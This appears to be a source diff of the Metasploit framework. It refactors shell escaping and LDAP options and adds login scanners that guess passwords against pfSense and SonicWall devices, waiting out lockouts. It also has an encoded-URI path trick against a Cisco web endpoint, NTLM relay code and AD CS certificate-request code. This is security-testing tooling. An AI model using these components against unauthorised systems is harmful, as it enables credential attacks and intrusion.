@@ -13,7 +13,7 @@ module SessionDataProxy
def report_session(opts)
begin
self.data_service_operation do |data_service|
add_opts_workspace(opts)
add_opts_workspace(opts, opts.fetch(:workspace, opts[:session]&.workspace))
data_service.report_session(opts)
end
rescue => e
+29 -9
View File
@@ -19,15 +19,7 @@ module Metasploit
# classes that will probably give useful results when run
# against `service`.
def self.classes_for_service(service)
unless @required
# Make sure we've required all the scanner classes
dir = File.expand_path("../login_scanner/", __FILE__)
Dir.glob(File.join(dir, "*.rb")).each do |f|
require f if File.file?(f)
end
@required = true
end
require_login_scanners
self.constants.map{|sym| const_get(sym)}.select do |const|
next unless const.kind_of?(Class)
@@ -42,6 +34,34 @@ module Metasploit
end
end
def self.all_service_names
require_login_scanners
service_names = Set.new
self.constants.map{|sym| const_get(sym)}.select do |const|
next unless const.kind_of?(Class)
next unless const.const_defined?(:LIKELY_SERVICE_NAMES)
const.const_get(:LIKELY_SERVICE_NAMES).each do |service_name|
service_names << service_name
end
end
service_names
end
private
def self.require_login_scanners
unless @required
# Make sure we've required all the scanner classes
dir = File.expand_path("../login_scanner/", __FILE__)
Dir.glob(File.join(dir, "*.rb")).each do |f|
require f if File.file?(f)
end
@required = true
end
end
end
end
end
@@ -16,10 +16,7 @@ module Metasploit
PRIVATE_TYPES = [:password]
REALM_KEY = nil
def initialize(scanner_config, admin)
@admin = admin
super(scanner_config)
end
attr_accessor :use_admin_endpoint
def check_setup
request_params = {
@@ -138,7 +135,7 @@ module Metasploit
def do_login(username, password)
protocol = ssl ? 'https' : 'http'
peer = "#{host}:#{port}"
peer = Rex::Socket.to_authority(host, port)
user_req = create_user_request(username, password, protocol, peer)
begin
res = send_request(user_req)
@@ -178,7 +175,7 @@ module Metasploit
service_name: 'ivanti'
}
if @admin
if @use_admin_endpoint
login_result = do_admin_login(credential.public, credential.private)
else
login_result = do_login(credential.public, credential.private)
@@ -0,0 +1,116 @@
require 'metasploit/framework/login_scanner/http'
module Metasploit
module Framework
module LoginScanner
# This is the LoginScanner class for dealing with Netgate pfSense instances.
# It is responsible for taking a single target, and a list of credentials
# and attempting them. It then saves the results.
class PfSense < HTTP
LOGIN_ENDPOINT = 'index.php'
# Checks if the target is pfSense. The login module should call this.
#
# @return [Boolean, String] FalseClass if target is pfSense, otherwise String
def check_setup
request_params = {
'method' => 'GET',
'uri' => normalize_uri(@uri.to_s, LOGIN_ENDPOINT)
}
res = send_request(request_params)
if res&.code == 200 && res.body&.include?('Login to pfSense')
return false
end
"Unable to locate \"Login to pfSense\" in body. (Is this really pfSense?)"
end
def query_csrf_magic
request_params = {
'method' => 'GET',
'uri' => normalize_uri(@uri.to_s, LOGIN_ENDPOINT)
}
res = send_request(request_params)
if res.nil?
return { status: :failure, error: 'Did not receive response to a GET request' }
end
if res.code != 200
return { status: :failure, error: "Unexpected return code from GET request - #{res.code}" }
end
# CSRF Magic Token and Magic Value are inlined as JavaScript in a <script> tag.
# It can also be extracted from the Nokogiri::HTML(res.body).search('form') form.
csrf_magic_token, csrf_magic_name = res.body.match(/var csrfMagicToken = "(?<magic_token>.*)";var csrfMagicName = "(?<magic_name>.*)";/).captures
if csrf_magic_token.nil? || csrf_magic_name.nil?
return { status: :failure, error: "Could not find magic CSRF values. csrf_magic_token: '#{csrf_magic_token}', csrf_magic_name: '#{csrf_magic_name}'" }
end
{ status: :success, result: { csrf_magic_token: csrf_magic_token, csrf_magic_name: csrf_magic_name } }
end
# Each individual login needs their own CSRF magic header.
# This header comes from a GET request to the index.php page
def try_login(username, password, csrf_magic)
request_params =
{
'method' => 'POST',
'uri' => normalize_uri(@uri.to_s, LOGIN_ENDPOINT),
'keep_cookies' => true,
'vars_post' => {
'usernamefld' => username,
'passwordfld' => password,
csrf_magic[:csrf_magic_name] => csrf_magic[:csrf_magic_token],
'login' => ::URI.encode_www_form_component('Sign In')
}
}
{ status: :success, result: send_request(request_params) }
end
def attempt_login(credential)
result_options = {
credential: credential,
host: @host,
port: @port,
protocol: 'tcp',
service_name: 'pfsense'
}
# Each login needs its own csrf magic tokens
csrf_magic = query_csrf_magic
if csrf_magic[:status] != :success
result_options.merge!(status: ::Metasploit::Model::Login::Status::UNTRIED, proof: csrf_magic[:error])
return Result.new(result_options)
end
login_result = try_login(credential.public, credential.private, csrf_magic[:result])
if login_result[:result].nil?
result_options.merge!(status: ::Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: 'Unable to connect to pfSense')
return Result.new(result_options)
end
# 200 is incorrect result
if login_result[:result].code == 200 || login_result[:result].body.include?('Username or Password incorrect')
result_options.merge!(status: ::Metasploit::Model::Login::Status::INCORRECT, proof: 'Username or Password incorrect')
return Result.new(result_options)
end
login_status = login_result[:result].code == 302 ? ::Metasploit::Model::Login::Status::SUCCESSFUL : ::Metasploit::Model::Login::Status::INCORRECT
result_options.merge!(status: login_status, proof: login_result[:result])
Result.new(result_options)
rescue ::Rex::ConnectionError => _e
result_options.merge!(status: ::Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: 'Unable to connect to pfSense')
return Result.new(result_options)
end
end
end
end
end
@@ -0,0 +1,154 @@
require 'metasploit/framework/login_scanner/http'
module Metasploit
module Framework
module LoginScanner
# SonicWall Login Scanner supporting
# - User Login
# - Admin Login
class SonicWall < HTTP
DEFAULT_SSL_PORT = [443, 4433]
LIKELY_PORTS = [443, 4433]
LIKELY_SERVICE_NAMES = [
'SonicWall Network Security'
]
PRIVATE_TYPES = [:password]
REALM_KEY = nil
attr_accessor :domain
def req_params_base
{
'method' => 'POST',
'uri' => normalize_uri('/api/sonicos/auth'),
'ctype' => 'application/json',
# Force SSL as the application uses non-standard TCP port for HTTPS - 4433
'ssl' => true
}
end
def auth_details_req
params = req_params_base
#
# Admin and SSLVPN user login procedure differs only in usage of domain field in JSON data
#
params.merge!({
'data' => JSON.pretty_generate(@domain.blank? ? {
'override' => false,
'snwl' => true
} : { 'domain' => @domain, 'override' => false, 'snwl' => true })
})
return params
end
def auth_req(header)
params = req_params_base
params.merge!({
'headers' =>
{
'Authorization' => header.join(', ')
}
})
params.merge!({
'data' => JSON.pretty_generate(@domain.empty? ? {
'override' => false,
'snwl' => true
} : { 'domain' => @domain, 'override' => false, 'snwl' => true })
})
return params
end
def get_auth_details(username, password)
send_request(auth_details_req)
end
def try_login(header)
send_request(auth_req(header))
end
def get_resp_msg(msg)
msg.dig('status', 'info', 0, 'message')
end
def check_setup
request_params = {
'method' => 'GET',
'uri' => normalize_uri('/sonicui/7/login/')
}
res = send_request(request_params)
if res&.code == 200 && res.body&.include?('SonicWall')
return false
end
'Unable to locate "SonicWall" in body. (Is this really SonicWall?)'
end
#
# The login procedure is two-step procedure for SonicWall due to HTTP Digest Authentication. In the first request, client receives data,cryptographic hashes and algorithm selection from server. It should calculate final response hash from username, password and additional data received from server. The second request contains all this information.
#
def do_login(username, password, depth)
return { status: ::Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: 'Waiting too long in lockout' } if depth >= 2
#-- get authentication details from first request
begin
res = get_auth_details(username, password)
rescue ::Rex::ConnectionError, ::Rex::ConnectionProxyError, ::Errno::ECONNRESET, ::Errno::EINTR, ::Rex::TimeoutError, ::Timeout::Error, ::EOFError => e
return { status: ::Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: e }
end
return { status: ::Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: 'Invalid response' } unless res
return { status: ::Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: 'Failed to receive a authentication details' } unless res&.headers && res.headers.key?('X-SNWL-Authenticate')
res.headers['X-SNWL-Authenticate'] =~ /Digest (.*)/
parameters = {}
::Regexp.last_match(1).split(/,[[:space:]]*/).each do |p|
k, v = p.split('=', 2)
parameters[k] = v.gsub('"', '')
end
return { status: ::Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: 'Incorrect authentication header' } if parameters.empty?
digest_auth = Rex::Proto::Http::AuthDigest.new
auth_header = digest_auth.digest(username, password, 'POST', '/api/sonicos/auth', parameters)
return { status: ::Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: 'Could not calculate hash' } unless auth_header
#-- send the actual request with all hashes and information
res = try_login(auth_header)
return { status: ::Metasploit::Model::Login::Status::SUCCESSFUL, proof: res.to_s } if res&.code == 200
msg_json = res.get_json_document
return { status: ::Metasploit::Model::Login::Status::INCORRECT, proof: res.to_s } unless msg_json
msg = get_resp_msg(msg_json)
if msg == 'User is locked out'
sleep(5 * 60)
return do_login(username, password, depth + 1)
end
return { status: ::Metasploit::Model::Login::Status::INCORRECT, proof: msg }
end
def attempt_login(credential)
result_options = {
credential: credential,
host: @host,
port: @port,
protocol: 'tcp',
service_name: 'sonicwall'
}
result_options.merge!(do_login(credential.public, credential.private, 1))
Result.new(result_options)
end
end
end
end
end
@@ -125,7 +125,9 @@ module Metasploit
LIKELY_SERVICE_NAMES = [
# Comes from nmap 7.95 on MacOS
'skynetflow',
'teamcity'
'teamcity',
'http',
'https'
]
PRIVATE_TYPES = [:password]
REALM_KEY = nil
+4
View File
@@ -94,6 +94,10 @@ module Metasploit
info
end
def self.is_posix(platform)
return ['unifi','linux','osx','solaris','bsd','hpux','aix'].include?(platform)
end
def self.get_platform_from_info(info)
case info
when /unifi\.version|UniFiSecurityGateway/i # Ubiquiti Unifi. uname -a is left in, so we got to pull before Linux
+1 -1
View File
@@ -32,7 +32,7 @@ module Metasploit
end
end
VERSION = "6.4.52"
VERSION = "6.4.56"
MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i }
PRERELEASE = 'dev'
HASH = get_hash
+5
View File
@@ -215,6 +215,11 @@ Shell Banner:
print_line
end
def escape_arg(arg)
# By default we don't know what the escaping is. It's not ideal, but subclasses should do their own appropriate escaping
arg
end
def cmd_background(*args)
if !args.empty?
# We assume that background does not need arguments
+2 -37
View File
@@ -6,43 +6,8 @@ module Msf::Sessions
super
end
def shell_command_token(cmd,timeout = 10)
shell_command_token_unix(cmd,timeout)
end
# Convert the executable and argument array to a command that can be run in this command shell
# @param cmd_and_args [Array<String>] The process path and the arguments to the process
def to_cmd(cmd_and_args)
self.class.to_cmd(cmd_and_args)
end
# Escape an individual argument per Unix shell rules
# @param arg [String] Shell argument
def escape_arg(arg)
self.class.escape_arg(arg)
end
# Convert the executable and argument array to a command that can be run in this command shell
# @param cmd_and_args [Array<String>] The process path and the arguments to the process
def self.to_cmd(cmd_and_args)
escaped = cmd_and_args.map do |arg|
escape_arg(arg)
end
escaped.join(' ')
end
# Escape an individual argument per Unix shell rules
# @param arg [String] Shell argument
def self.escape_arg(arg)
quote_requiring = ['\\', '`', '(', ')', '<', '>', '&', '|', ' ', '@', '"', '$', ';']
result = CommandShell._glue_cmdline_escape(arg, quote_requiring, "'", "\\'", "'")
if result == ''
result = "''"
end
result
end
include Msf::Sessions::UnixEscaping
extend Msf::Sessions::UnixEscaping
end
end
+2 -109
View File
@@ -6,114 +6,7 @@ module Msf::Sessions
super
end
def self.space_chars
[' ', '\t', '\v']
end
def shell_command_token(cmd,timeout = 10)
shell_command_token_win32(cmd,timeout)
end
# Convert the executable and argument array to a command that can be run in this command shell
# @param cmd_and_args [Array<String>] The process path and the arguments to the process
def to_cmd(cmd_and_args)
self.class.to_cmd(cmd_and_args)
end
# Escape a process for the command line
# @param executable [String] The process to launch
def self.escape_cmd(executable)
needs_quoting = space_chars.any? do |char|
executable.include?(char)
end
if needs_quoting
executable = "\"#{executable}\""
end
executable
end
# Convert the executable and argument array to a commandline that can be passed to CreateProcessAsUserW.
# @param args [Array<String>] The arguments to the process
# @remark The difference between this and `to_cmd` is that the output of `to_cmd` is expected to be passed
# to cmd.exe, whereas this is expected to be passed directly to the Win32 API, anticipating that it
# will in turn be interpreted by CommandLineToArgvW.
def self.argv_to_commandline(args)
escaped_args = args.map do |arg|
escape_arg(arg)
end
escaped_args.join(' ')
end
# Escape an individual argument per Windows shell rules
# @param arg [String] Shell argument
def self.escape_arg(arg)
needs_quoting = space_chars.any? do |char|
arg.include?(char)
end
# Fix the weird behaviour when backslashes are treated differently when immediately prior to a double-quote
# We need to send double the number of backslashes to make it work as expected
# See: https://learn.microsoft.com/en-us/windows/win32/api/shellapi/nf-shellapi-commandlinetoargvw#remarks
arg = arg.gsub(/(\\*)"/, '\\1\\1"')
# Quotes need to be escaped
arg = arg.gsub('"', '\\"')
if needs_quoting
# At the end of the argument, we're about to add another quote - so any backslashes need to be doubled here too
arg = arg.gsub(/(\\*)$/, '\\1\\1')
arg = "\"#{arg}\""
end
# Empty string needs to be coerced to have a value
arg = '""' if arg == ''
arg
end
# Convert the executable and argument array to a command that can be run in this command shell
# @param cmd_and_args [Array<String>] The process path and the arguments to the process
def self.to_cmd(cmd_and_args)
# The space, caret and quote chars need to be inside double-quoted strings.
# The percent character needs to be escaped using a caret char, while being outside a double-quoted string.
#
# Situations where these two situations combine are going to be the trickiest cases: something that has quote-requiring
# characters (e.g. spaces), but which also needs to avoid expanding an environment variable. In this case,
# the string needs to end up being partially quoted; with parts of the string in quotes, but others (i.e. bits with percents) not.
# For example:
# 'env var is %temp%, yes, %TEMP%' needs to end up as '"env var is "^%temp^%", yes, "^%TEMP^%'
#
# There is flexibility in how you might implement this, but I think this one looks the most "human" to me,
# which would make it less signaturable.
#
# To do this, we'll consider each argument character-by-character. Each time we encounter a percent sign, we break out of any quotes
# (if we've been inside them in the current "token"), and then start a new "token".
quote_requiring = ['"', '^', ' ', "\t", "\v", '&', '<', '>', '|']
escaped_cmd_and_args = cmd_and_args.map do |arg|
# Escape quote chars by doubling them up, except those preceeded by a backslash (which are already effectively escaped, and handled below)
arg = arg.gsub(/([^\\])"/, '\\1""')
arg = arg.gsub(/^"/, '""')
result = CommandShell._glue_cmdline_escape(arg, quote_requiring, '%', '^%', '"')
# Fix the weird behaviour when backslashes are treated differently when immediately prior to a double-quote
# We need to send double the number of backslashes to make it work as expected
# See: https://learn.microsoft.com/en-us/windows/win32/api/shellapi/nf-shellapi-commandlinetoargvw#remarks
result.gsub!(/(\\*)"/, '\\1\\1"')
# Empty string needs to be coerced to have a value
result = '""' if result == ''
result
end
escaped_cmd_and_args.join(' ')
end
include Msf::Sessions::WindowsEscaping
extend Msf::Sessions::WindowsEscaping
end
end
+11 -1
View File
@@ -42,7 +42,17 @@ class Msf::Sessions::LDAP
session = self
session.init_ui(user_input, user_output)
@info = "LDAP #{datastore['USERNAME']} @ #{@peer_info}"
username = datastore['USERNAME']
if username.blank?
begin
whoami = client.ldapwhoami
rescue Net::LDAP::Error => e
ilog('ldap session opened with no username and the target does not support the LDAP whoami extension')
else
username = whoami.delete_prefix('u:').split('\\').last
end
end
@info = "LDAP #{username} @ #{@peer_info}"
end
def execute_file(full_path, args)
@@ -238,6 +238,13 @@ module Msf::Sessions
def bootstrap(datastore = {}, handler = nil)
# this won't work after the rstream is initialized, so do it first
@platform = Metasploit::Framework::Ssh::Platform.get_platform(ssh_connection)
if @platform == 'windows'
extend(Msf::Sessions::WindowsEscaping)
elsif Metasploit::Framework::Ssh::Platform.is_posix(@platform)
extend(Msf::Sessions::UnixEscaping)
else
raise ::Net::SSH::Exception.new("Unknown platform: #{platform}")
end
# if the platform is known, it was recovered by communicating with the device, so skip verification, also not all
# shells accessed through SSH may respond to the echo command issued for verification as expected
+27
View File
@@ -0,0 +1,27 @@
module Msf::Sessions
module UnixEscaping
def shell_command_token(cmd,timeout = 10)
shell_command_token_unix(cmd,timeout)
end
# Convert the executable and argument array to a command that can be run in this command shell
# @param cmd_and_args [Array<String>] The process path and the arguments to the process
def to_cmd(cmd_and_args)
escaped = cmd_and_args.map { |arg| escape_arg(arg) }
escaped.join(' ')
end
# Escape an individual argument per Unix shell rules
# @param arg [String] Shell argument
def escape_arg(arg)
quote_requiring = ['\\', '`', '(', ')', '<', '>', '&', '|', ' ', '@', '"', '$', ';']
result = CommandShell._glue_cmdline_escape(arg, quote_requiring, "'", "\\'", "'")
if result == ''
result = "''"
end
result
end
end
end
+102
View File
@@ -0,0 +1,102 @@
module Msf::Sessions
module WindowsEscaping
def space_chars
[' ', '\t', '\v']
end
def shell_command_token(cmd,timeout = 10)
shell_command_token_win32(cmd,timeout)
end
# Escape a process for the command line
# @param executable [String] The process to launch
def escape_cmd(executable)
needs_quoting = space_chars.any? do |char|
executable.include?(char)
end
if needs_quoting
executable = "\"#{executable}\""
end
executable
end
# Convert the executable and argument array to a commandline that can be passed to CreateProcessAsUserW.
# @param args [Array<String>] The arguments to the process
# @remark The difference between this and `to_cmd` is that the output of `to_cmd` is expected to be passed
# to cmd.exe, whereas this is expected to be passed directly to the Win32 API, anticipating that it
# will in turn be interpreted by CommandLineToArgvW.
def argv_to_commandline(args)
escaped_args = args.map { |arg| escape_arg(arg) }
escaped_args.join(' ')
end
# Escape an individual argument per Windows shell rules
# @param arg [String] Shell argument
def escape_arg(arg)
needs_quoting = space_chars.any? { |char| arg.include?(char) }
# Fix the weird behaviour when backslashes are treated differently when immediately prior to a double-quote
# We need to send double the number of backslashes to make it work as expected
# See: https://learn.microsoft.com/en-us/windows/win32/api/shellapi/nf-shellapi-commandlinetoargvw#remarks
arg = arg.gsub(/(\\*)"/, '\\1\\1"')
# Quotes need to be escaped
arg = arg.gsub('"', '\\"')
if needs_quoting
# At the end of the argument, we're about to add another quote - so any backslashes need to be doubled here too
arg = arg.gsub(/(\\*)$/, '\\1\\1')
arg = "\"#{arg}\""
end
# Empty string needs to be coerced to have a value
arg = '""' if arg == ''
arg
end
# Convert the executable and argument array to a command that can be run in this command shell
# @param cmd_and_args [Array<String>] The process path and the arguments to the process
def to_cmd(cmd_and_args)
# The space, caret and quote chars need to be inside double-quoted strings.
# The percent character needs to be escaped using a caret char, while being outside a double-quoted string.
#
# Situations where these two situations combine are going to be the trickiest cases: something that has quote-requiring
# characters (e.g. spaces), but which also needs to avoid expanding an environment variable. In this case,
# the string needs to end up being partially quoted; with parts of the string in quotes, but others (i.e. bits with percents) not.
# For example:
# 'env var is %temp%, yes, %TEMP%' needs to end up as '"env var is "^%temp^%", yes, "^%TEMP^%'
#
# There is flexibility in how you might implement this, but I think this one looks the most "human" to me,
# which would make it less signaturable.
#
# To do this, we'll consider each argument character-by-character. Each time we encounter a percent sign, we break out of any quotes
# (if we've been inside them in the current "token"), and then start a new "token".
quote_requiring = ['"', '^', ' ', "\t", "\v", '&', '<', '>', '|']
escaped_cmd_and_args = cmd_and_args.map do |arg|
# Escape quote chars by doubling them up, except those preceeded by a backslash (which are already effectively escaped, and handled below)
arg = arg.gsub(/([^\\])"/, '\\1""')
arg = arg.gsub(/^"/, '""')
result = CommandShell._glue_cmdline_escape(arg, quote_requiring, '%', '^%', '"')
# Fix the weird behaviour when backslashes are treated differently when immediately prior to a double-quote
# We need to send double the number of backslashes to make it work as expected
# See: https://learn.microsoft.com/en-us/windows/win32/api/shellapi/nf-shellapi-commandlinetoargvw#remarks
result.gsub!(/(\\*)"/, '\\1\\1"')
# Empty string needs to be coerced to have a value
result = '""' if result == ''
result
end
escaped_cmd_and_args.join(' ')
end
end
end
+3 -2
View File
@@ -58,8 +58,9 @@ module Auxiliary
raise MissingActionError, "Please use: #{mod.actions.collect {|e| e.name} * ", "}"
end
# Verify the options
mod.options.validate(mod.datastore)
# Validate the option container state so that options will
# be normalized
mod.validate
# Initialize user interaction
if ! opts['Quiet']
+1 -1
View File
@@ -79,7 +79,7 @@ module Exploit
end
# Verify the options
exploit.options.validate(exploit.datastore)
exploit.validate
# Start it up
driver = Msf::ExploitDriver.new(exploit.framework)
+1 -1
View File
@@ -55,7 +55,7 @@ module Post
end
# Verify the options
mod.options.validate(mod.datastore)
mod.validate
# Initialize user interaction
if ! opts['Quiet']
@@ -0,0 +1,29 @@
# -*- coding: binary -*-
module Msf
###
#
# This module provides methods for modules which intend to handle multiple hosts
# themselves through some means, e.g. scanners. This circumvents the typical
# RHOSTS -> RHOST logic offered by the framework.
#
###
module Auxiliary::MultipleTargetHosts
def has_check?
respond_to?(:check_host)
end
def check
nmod = replicant
begin
nmod.check_host(datastore['RHOST'])
rescue NoMethodError
Exploit::CheckCode::Unsupported
end
end
end
end
+2 -1
View File
@@ -307,13 +307,14 @@ module Auxiliary::Report
# report_vuln is only called in an identified case, consider setting value reported here
attempt_info = {
:workspace => opts[:workspace],
:vuln_id => vuln.id,
:attempted_at => timestamp || Time.now.utc,
:exploited => false,
:fail_detail => 'vulnerability identified',
:fail_reason => 'Untried', # Mdm::VulnAttempt::Status::UNTRIED, avoiding direct dependency on Mdm, used elsewhere in this module
:module => mname,
:username => username || "unknown",
:username => username || "unknown"
}
# TODO: figure out what opts are required and why the above logic doesn't match that of the db_manager method
+2 -14
View File
@@ -10,6 +10,8 @@ module Msf
module Auxiliary::Scanner
include Msf::Auxiliary::MultipleTargetHosts
class AttemptFailed < Msf::Auxiliary::Failed
end
@@ -31,20 +33,6 @@ def initialize(info = {})
end
def has_check?
respond_to?(:check_host)
end
def check
nmod = replicant
begin
nmod.check_host(datastore['RHOST'])
rescue NoMethodError
Exploit::CheckCode::Unsupported
end
end
def peer
# IPv4 addr can be 16 chars + 1 for : and + 5 for port
super.ljust(21)
@@ -57,7 +57,7 @@ module Msf
res = send_request_cgi(
'method' => 'POST',
'uri' => '/%2577ebui_wsma_https',
'uri' => datastore['SSL'] == true ? '/%2577eb%2575i_%2577sma_hTtPs' : '/%2577eb%2575i_%2577sma_hTtP',
'data' => xml
)
@@ -238,9 +238,9 @@ module Msf
# @param auth_pack [Rex::Proto::Kerberos::Model::Pkinit::AuthPack] The AuthPack to sign
# @param key [OpenSSL::PKey] The private key to digitally sign the data
# @param dh [OpenSSL::X509::Certificate] The certificate associated with the private key
# @return [Rex::Proto::Kerberos::Model::Pkinit::ContentInfo] The signed AuthPack
# @return [Rex::Proto::CryptoAsn1::Cms::ContentInfo] The signed AuthPack
def sign_auth_pack(auth_pack, key, certificate)
signer_info = Rex::Proto::Kerberos::Model::Pkinit::SignerInfo.new(
signer_info = Rex::Proto::CryptoAsn1::Cms::SignerInfo.new(
version: 1,
sid: {
issuer: certificate.issuer,
@@ -268,7 +268,7 @@ module Msf
signer_info[:signature] = signature
signed_data = Rex::Proto::Kerberos::Model::Pkinit::SignedData.new(
signed_data = Rex::Proto::CryptoAsn1::Cms::SignedData.new(
version: 3,
digest_algorithms: [
{
@@ -283,9 +283,9 @@ module Msf
signer_infos: [signer_info]
)
Rex::Proto::Kerberos::Model::Pkinit::ContentInfo.new(
Rex::Proto::CryptoAsn1::Cms::ContentInfo.new(
content_type: Rex::Proto::Kerberos::Model::OID::SignedData,
signed_data: signed_data
data: signed_data
)
end
end
+6 -6
View File
@@ -30,9 +30,9 @@ module Msf
Opt::RHOST,
Opt::RPORT(389),
OptBool.new('SSL', [false, 'Enable SSL on the LDAP connection', false]),
Msf::OptString.new('DOMAIN', [false, 'The domain to authenticate to']),
Msf::OptString.new('USERNAME', [false, 'The username to authenticate with'], aliases: ['BIND_DN']),
Msf::OptString.new('PASSWORD', [false, 'The password to authenticate with'], aliases: ['BIND_PW'])
Msf::OptString.new('LDAPDomain', [false, 'The domain to authenticate to'], fallbacks: ['DOMAIN']),
Msf::OptString.new('LDAPUsername', [false, 'The username to authenticate with'], fallbacks: %w[USERNAME BIND_DN]),
Msf::OptString.new('LDAPPassword', [false, 'The password to authenticate with'], fallbacks: %w[PASSWORD BIND_PW])
])
register_advanced_options(
@@ -76,9 +76,9 @@ module Msf
# LDAP server.
def get_connect_opts
opts = {
username: datastore['USERNAME'],
password: datastore['PASSWORD'],
domain: datastore['DOMAIN'],
username: datastore['LDAPUsername'],
password: datastore['LDAPPassword'],
domain: datastore['LDAPDomain'],
base: datastore['BASE_DN'],
domain_controller_rhost: datastore['DomainControllerRhost'],
ldap_auth: datastore['LDAP::Auth'],
+19 -7
View File
@@ -30,6 +30,7 @@ module Exploit::Remote::MsIcpr
class MsIcprError < StandardError; end
class MsIcprConnectionError < MsIcprError; end
class MsIcprAuthenticationError < MsIcprError; end
class MsIcprAuthorizationError < MsIcprError; end
class MsIcprNotFoundError < MsIcprError; end
class MsIcprUnexpectedReplyError < MsIcprError; end
class MsIcprUnknownError < MsIcprError; end
@@ -91,7 +92,7 @@ module Exploit::Remote::MsIcpr
rescue RubySMB::Error::UnexpectedStatusCode => e
if e.status_code == ::WindowsError::NTStatus::STATUS_OBJECT_NAME_NOT_FOUND
# STATUS_OBJECT_NAME_NOT_FOUND will be the status if Active Directory Certificate Service (AD CS) is not installed on the target
raise MsIcprNotFoundError, 'Connection failed (AD CS was not found)'
raise MsIcprNotFoundError, 'Connection failed (AD CS was not found).'
end
elog(e.message, error: e)
@@ -192,6 +193,17 @@ module Exploit::Remote::MsIcpr
print_error(" Source: #{hresult.facility}") if hresult.facility
print_error(" HRESULT: #{hresult}")
end
case hresult
when ::WindowsError::HResult::CERTSRV_E_ENROLL_DENIED
raise MsIcprAuthorizationError.new(hresult.description)
when ::WindowsError::HResult::CERTSRV_E_TEMPLATE_DENIED
raise MsIcprAuthorizationError.new(hresult.description)
when ::WindowsError::HResult::CERTSRV_E_UNSUPPORTED_CERT_TYPE
raise MsIcprNotFoundError.new(hresult.description)
else
raise MsIcprUnknownError.new(hresult.description)
end
end
return unless response[:certificate]
@@ -239,8 +251,8 @@ module Exploit::Remote::MsIcpr
workspace_id: myworkspace_id,
username: upn || datastore['SMBUser'],
private_type: :pkcs12,
# pkcs12 is a binary format, but for persisting we Base64 encode it
private_data: Base64.strict_encode64(pkcs12.to_der),
private_metadata: { adcs_ca: datastore['CA'], adcs_template: cert_template },
origin_type: :service,
module_fullname: fullname
}
@@ -306,7 +318,7 @@ module Exploit::Remote::MsIcpr
# @param [OpenSSL::X509::Certificate] cert The public key to use for signing the request.
# @param [OpenSSL::PKey::RSA] key The private key to use for signing the request.
# @param [String] algorithm The digest algorithm to use.
# @return [Rex::Proto::Kerberos::Model::Pkinit::ContentInfo] The signed request content.
# @return [Rex::Proto::CryptoAsn1::Cms::ContentInfo] The signed request content.
def build_on_behalf_of(csr:, on_behalf_of:, cert:, key:, algorithm: 'SHA256')
# algorithm needs to be one that OpenSSL supports, but we also need the OID constants defined
digest = OpenSSL::Digest.new(algorithm)
@@ -316,7 +328,7 @@ module Exploit::Remote::MsIcpr
digest_oid = Rex::Proto::Kerberos::Model::OID.const_get(digest.name)
signer_info = Rex::Proto::Kerberos::Model::Pkinit::SignerInfo.new(
signer_info = Rex::Proto::CryptoAsn1::Cms::SignerInfo.new(
version: 1,
sid: {
issuer: cert.issuer,
@@ -349,7 +361,7 @@ module Exploit::Remote::MsIcpr
signer_info[:signature] = signature
signed_data = Rex::Proto::Kerberos::Model::Pkinit::SignedData.new(
signed_data = Rex::Proto::CryptoAsn1::Cms::SignedData.new(
version: 3,
digest_algorithms: [
{
@@ -364,9 +376,9 @@ module Exploit::Remote::MsIcpr
signer_infos: [signer_info]
)
Rex::Proto::Kerberos::Model::Pkinit::ContentInfo.new(
Rex::Proto::CryptoAsn1::Cms::ContentInfo.new(
content_type: Rex::Proto::Kerberos::Model::OID::SignedData,
signed_data: signed_data
data: signed_data
)
end
@@ -122,17 +122,21 @@ module Msf::Exploit::Remote::SMB::Client::KerberosAuthentication
# see: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/7fd079ca-17e6-4f02-8449-46b606ea289c
if @dialect == '0x0300' || @dialect == '0x0302'
@application_key = RubySMB::Crypto::KDF.counter_mode(
@application_key = Rex::Crypto::KeyDerivation::NIST_SP_800_108.counter_hmac(
@session_key,
"SMB2APP\x00",
"SmbRpc\x00"
)
16,
'SHA256',
label: "SMB2APP\x00",
context: "SmbRpc\x00"
).first
else
@application_key = RubySMB::Crypto::KDF.counter_mode(
@application_key = Rex::Crypto::KeyDerivation::NIST_SP_800_108.counter_hmac(
@session_key,
"SMBAppKey\x00",
@preauth_integrity_hash_value
)
16,
'SHA256',
label: "SMBAppKey\x00",
context: @preauth_integrity_hash_value
).first
end
# otherwise, leave encryption to the default value that it was initialized to
end
@@ -29,8 +29,12 @@ module Msf::Exploit::Remote::SMB::Relay::NTLM
return super(request, session)
end
logger.print_status("Relaying to next target #{session.metadata[:relay_target]}")
if session.metadata[:relay_target].protocol == :smb && session.metadata[:relay_target].ip == peerhost
logger.print_warning('Relaying SMB to SMB on the same host will not work if the target has been patched for MS08-068')
end
relayed_connection = create_relay_client(
session.metadata[:relay_target],
@relay_timeout
@@ -88,7 +92,7 @@ module Msf::Exploit::Remote::SMB::Relay::NTLM
return response
end
relay_result = self.relay_ntlmssp(session, request.buffer)
relay_result = self.relay_ntlmssp(session, request.buffer.to_binary_s)
return if relay_result.nil?
response = ::RubySMB::SMB2::Packet::SessionSetupResponse.new
@@ -99,7 +103,7 @@ module Msf::Exploit::Remote::SMB::Relay::NTLM
response.smb2_header.nt_status = relay_result.nt_status.value
if relay_result.nt_status == ::WindowsError::NTStatus::STATUS_MORE_PROCESSING_REQUIRED
response.smb2_header.nt_status = ::WindowsError::NTStatus::STATUS_MORE_PROCESSING_REQUIRED.value
response.buffer = relay_result.message.serialize
response.buffer = relay_result.message.serialize if relay_result.message
if @dialect == '0x0311'
update_preauth_hash(response)
@@ -138,7 +142,18 @@ module Msf::Exploit::Remote::SMB::Relay::NTLM
# Choose the next machine to relay to, and send the incoming security buffer to the relay target
if ntlm_message.is_a?(::Net::NTLM::Message::Type1)
relayed_connection = session.metadata[:relayed_connection]
